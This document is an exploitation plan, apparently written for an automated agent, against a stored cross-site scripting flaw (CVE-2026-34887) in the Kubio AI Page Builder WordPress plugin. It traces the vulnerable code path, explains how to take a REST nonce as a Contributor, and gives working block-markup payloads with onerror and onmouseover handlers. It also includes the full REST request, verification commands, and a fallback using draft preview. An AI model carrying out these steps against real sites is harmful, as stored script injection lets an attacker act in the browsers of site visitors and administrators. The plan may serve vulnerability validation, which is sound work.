Exploitation Research Plan: CVE-2026-34887 (Kubio AI Page Builder Stored XSS)

1. Vulnerability Summary

The Kubio AI Page Builder plugin (versions <= 2.7.0) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists in the VideoBlock class, specifically during the processing and rendering of block attributes like internalUrl and posterImage.url. The plugin fails to sanitize these attributes before including them in the block's HTML output or style attributes, allowing an attacker with Contributor-level access to inject arbitrary JavaScript that executes when any user views the affected page.

2. Attack Vector Analysis

• Vulnerable Block: kubio/video (Identified from build/block-library/blocks-manifest.php).
• Vulnerable Attributes: internalUrl (primary) and posterImage.url (secondary).
• Authentication Level: Contributor or higher (users with edit_posts capability).
• Endpoint: POST /wp-json/wp/v2/posts (Standard WordPress REST API for creating/updating posts).
• Payload Placement: Inside the Gutenberg block comment in the post_content field.

3. Code Flow

1. Entry Point: An authenticated user saves a post containing a kubio/video block. The block attributes (e.g., internalUrl) are stored in the database within the post_content.
2. Rendering Trigger: A user views the post. WordPress calls the rendering logic for the dynamic block.
3. Attribute Retrieval: VideoBlock::getVideoParameters() (in build/block-library/blocks/video/index.php) calls $this->getAttribute( 'internalUrl' ) to retrieve the user-supplied URL.
4. URL Generation: generateInternalUrl( $params ) uses sprintf( '%s%s', $internalUrl, $time ) to construct the final URL string without any sanitization or escaping of $internalUrl.
5. Element Mapping: mapPropsToElements() calls getShortcode( $params ) using the tainted URL and assigns the result to the innerHTML of the self::VIDEO element.
6. Sink: The innerHTML is rendered directly into the page. If internalUrl contains HTML tags (e.g., "><img src=x onerror=alert(1)>"), they are injected into the DOM.
7. Alternative Sink: The self::POSTER element uses $this->getAttribute( 'posterImage.url' ) directly inside a style attribute's url() function.

4. Nonce Acquisition Strategy

To exploit this via the REST API as a Contributor:

1. Login to the WordPress instance as a Contributor.
2. Navigate to the New Post page: browser_navigate("/wp-admin/post-new.php").
3. Extract the REST Nonce from the wpApiSettings JavaScript object:
   • const restNonce = await browser_eval("window.wpApiSettings?.nonce").
4. This nonce is required for the X-WP-Nonce header in the subsequent POST request.

5. Exploitation Strategy

The goal is to create a post containing a malicious kubio/video block.

Step-by-Step Plan:

1. Initialize Session: Login as a Contributor.
2. Get REST Nonce: Navigate to /wp-admin/post-new.php and extract the nonce as described above.
3. Craft Payload:
   • We will use the internalUrl attribute to inject a script tag.
   • Block Markup:

     <!-- wp:kubio/video {"videoCategory":"internal","internalUrl":"\u0022\u003e\u003cimg src=x onerror=alert(1)\u003e"} /-->
     

4. Submit Exploitation Request:
   • Method: POST
   • URL: /wp-json/wp/v2/posts
   • Headers:
     • X-WP-Nonce: [EXTRACTED_NONCE]
     • Content-Type: application/json
   • Body:

     {
       "title": "Kubio XSS PoC",
       "content": "<!-- wp:kubio/video {\"videoCategory\":\"internal\",\"internalUrl\":\"\\\"><img src=x onerror=alert(1)>\"} /-->",
       "status": "publish"
     }
     

5. Trigger XSS: Navigate to the URL of the newly created post.

6. Test Data Setup

• User: A user with the contributor role (e.g., username: attacker, password: password123).
• Plugin Configuration: Ensure the kubio plugin is active. No special AI configuration is needed as we are manually crafting the block markup.

7. Expected Results

• The REST API should return a 201 Created status code with the post data.
• When navigating to the post's permalink, the browser should execute alert(1).
• The rendered HTML will look approximately like:

  <div data-kubio-component="video" ...>
    <div class="kubio-video-inner">
      ... src=""><img src=x onerror=alert(1)>#t=0" ...
    </div>
  </div>
  

8. Verification Steps

1. Verify Storage: Use WP-CLI to check the post content:
   • wp post get [POST_ID] --field=post_content
   • Confirm the malicious block markup is present.
2. Verify Execution: Check the frontend output for the unescaped payload:
   • curl -s [POST_URL] | grep "onerror=alert(1)"

9. Alternative Approaches

If the internalUrl vector is mitigated by a WAF or different rendering logic, use the Style Injection vector in posterImage.url:

Alternative Payload:

• Attribute: posterImage.url
• Value: x") ; " onmouseover="alert(1)
• Block Markup:

  <!-- wp:kubio/video {"displayAs":"posterImage","posterImage":{"url":"x\") ; \" onmouseover=\"alert(1)"}} /-->
  

• Reasoning: If the plugin renders the POSTER element using a style attribute, the payload will attempt to break out of the url() function and the style quote to inject an event handler.

Restricted Capabilities:
If Contributors cannot publish posts (standard WP behavior), the agent should set "status": "pending" or "draft" in the REST request and then use the browser_navigate tool to view the post in the Preview mode, which still triggers the XSS.